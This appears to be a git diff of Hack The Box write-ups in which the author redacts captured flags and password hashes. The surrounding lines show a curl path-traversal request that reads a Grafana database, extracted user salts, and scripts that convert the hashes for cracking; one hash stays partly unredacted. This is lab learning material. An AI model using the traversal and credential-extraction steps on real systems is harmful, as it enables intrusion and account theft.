Skeletonephilim · Skeletonephilim · Jul 2, 2026 · Jul 2, 2026 · Jul 2, 2026 · Jul 2, 2026
diff --git a/Administrator HTB [MEDIUM].md b/Administrator HTB [MEDIUM].md
diff --git a/BabyTwo HTB [MEDIUM].md b/BabyTwo HTB [MEDIUM].md
diff --git a/Blackfield HTB [HARD].md b/Blackfield HTB [HARD].md
diff --git a/Breach HTB [MEDIUM].md b/Breach HTB [MEDIUM].md
diff --git a/Cicada HTB [EASY].md b/Cicada HTB [EASY].md
diff --git a/Cronos [MEDIUM].md b/Cronos [MEDIUM].md
@@ -267,7 +267,7 @@ www-data@cronos:/var/www/admin$ cd /home/noulis
 cd /home/noulis  
 www-data@cronos:/home/noulis$ cat user.txt  
 cat user.txt  
-78e7*****************4cbe325
+[REDACTED]
 ```
 
 Since its name is Cronos, we can infer that the privesc is about cronjobs.
@@ -416,7 +416,7 @@ bash: cannot set terminal process group (4074): Inappropriate ioctl for device
 bash: no job control in this shell  
 root@cronos:~# cat /root/root.txt  
 cat /root/root.txt  
-5003f0***********ee0d9c3
+[REDACTED]
 ```
 
-And we get the root flag !
+And we get the root flag !
diff --git a/DarkZero [HARD].md b/DarkZero [HARD].md
diff --git a/Data [EASY].md b/Data [EASY].md
@@ -1275,7 +1275,7 @@ So we will curl using URL-encoded path `..%2F` which is the equivalent of `../`
 >  curl -s --path-as-is \  
 > 'http://data.htb:3000/public/plugins/alertlist..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2var%2Flib%2Fgrafana.db' \  
 
-
+  ()
 
 400 Bad Request%
 
@@ -1329,8 +1329,8 @@ Finally, after 20 minutes, I got the syntax right.
 ╭────┬───────┬─────────────────┬──────────────────────────────────────────────────────────────────────────────────────────────────────╮  
 │ id │ login │      email      │                                               password                                               │  
 ╞════╪═══════╪═════════════════╪══════════════════════════════════════════════════════════════════════════════════════════════════════╡  
-│  1 │ admin │ admin@localhost │ 7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8 │  
-│  2 │ boris │ boris@data.vl   │ dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8 │  
+│  1 │ admin │ admin@localhost │ [REDACTED] │  
+│  2 │ boris │ boris@data.vl   │ [REDACTED] │  
 ╰────┴───────┴─────────────────┴──────────────────────────────────────────────────────────────────────────────────────────────────────╯
 ```
 
@@ -1345,7 +1345,7 @@ import binascii
 import sys
 
 # Paste from sqlite output for ONE user:
-PASSWORD_HEX = "dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8"
+PASSWORD_HEX = "[REDACTED]"
 SALT_STR = "PASTE_SALT_FROM_SQLITE"
 
 ITERATIONS = 10000
@@ -1377,8 +1377,8 @@ This would take too much time, so I have to use the salt from the database and a
 ╭───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────┬────────────╮  
 │ login │                                               password                                               │    salt    │  
 ╞═══════╪══════════════════════════════════════════════════════════════════════════════════════════════════════╪════════════╡  
-│ admin │ 7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322cf3723c92164b6172e9e73faf7a4c2072f8f8 │ YObSoLj55S │  
-│ boris │ dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8 │ LCBhdtJWjl │  
+│ admin │ [REDACTED] │ YObSoLj55S │  
+│ boris │ [REDACTED] │ LCBhdtJWjl │  
 ╰───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────┴────────────╯
 ```
 
@@ -1405,9 +1405,9 @@ USERS = {
 
 "password_hex": (
 
-"7a919e4bbe95cf5104edf354ee2e6234efac1ca1f81426844a24c4df6131322"
+"[REDACTED]"
 
-"cf3723c92164b6172e9e73faf7a4c2072f8f8"
+"[REDACTED]"
 
 ),
 
@@ -1419,7 +1419,7 @@ USERS = {
 
 "password_hex": (
 
-"dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be"
+"[REDACTED]"
 
 "220745be3cbe49353e35f53b51da8"
 
@@ -1564,7 +1564,7 @@ Last login: Wed Jun  4 13:37:31 2025 from 10.10.14.62
 boris@data:~$ ls  
 user.txt  
 boris@data:~$ cat user.txt  
-955e*****************5898
+[REDACTED]
 ```
 
 We got the user flag.
@@ -1629,7 +1629,7 @@ And, bingo.
 
 ```bash
 bash-5.1# cat /mnt/root/root.txt  
-82cf16******************060f04ca
+[REDACTED]
 ```
 
 First Linux Black Box finished and second Black Box engagement finished !
@@ -1667,7 +1667,7 @@ boris@data:~$ getcap -r / 2>/dev/null
 Bonus : alternative way to decode the hashes without python
 
 ```bash
-PASS_HEX="dc6becccbb57d34daf4a4e391d2015d3350c60df3608e9e99b5291e47f3e5cd39d156be220745be3cbe49353e35f53b51da8"
+PASS_HEX="[REDACTED]"
 SALT="LCBhdtJWjl"
 HASH_B64=$(echo -n "$PASS_HEX" | xxd -r -p | base64 -w0)
 SALT_B64=$(echo -n "$SALT" | base64 -w0)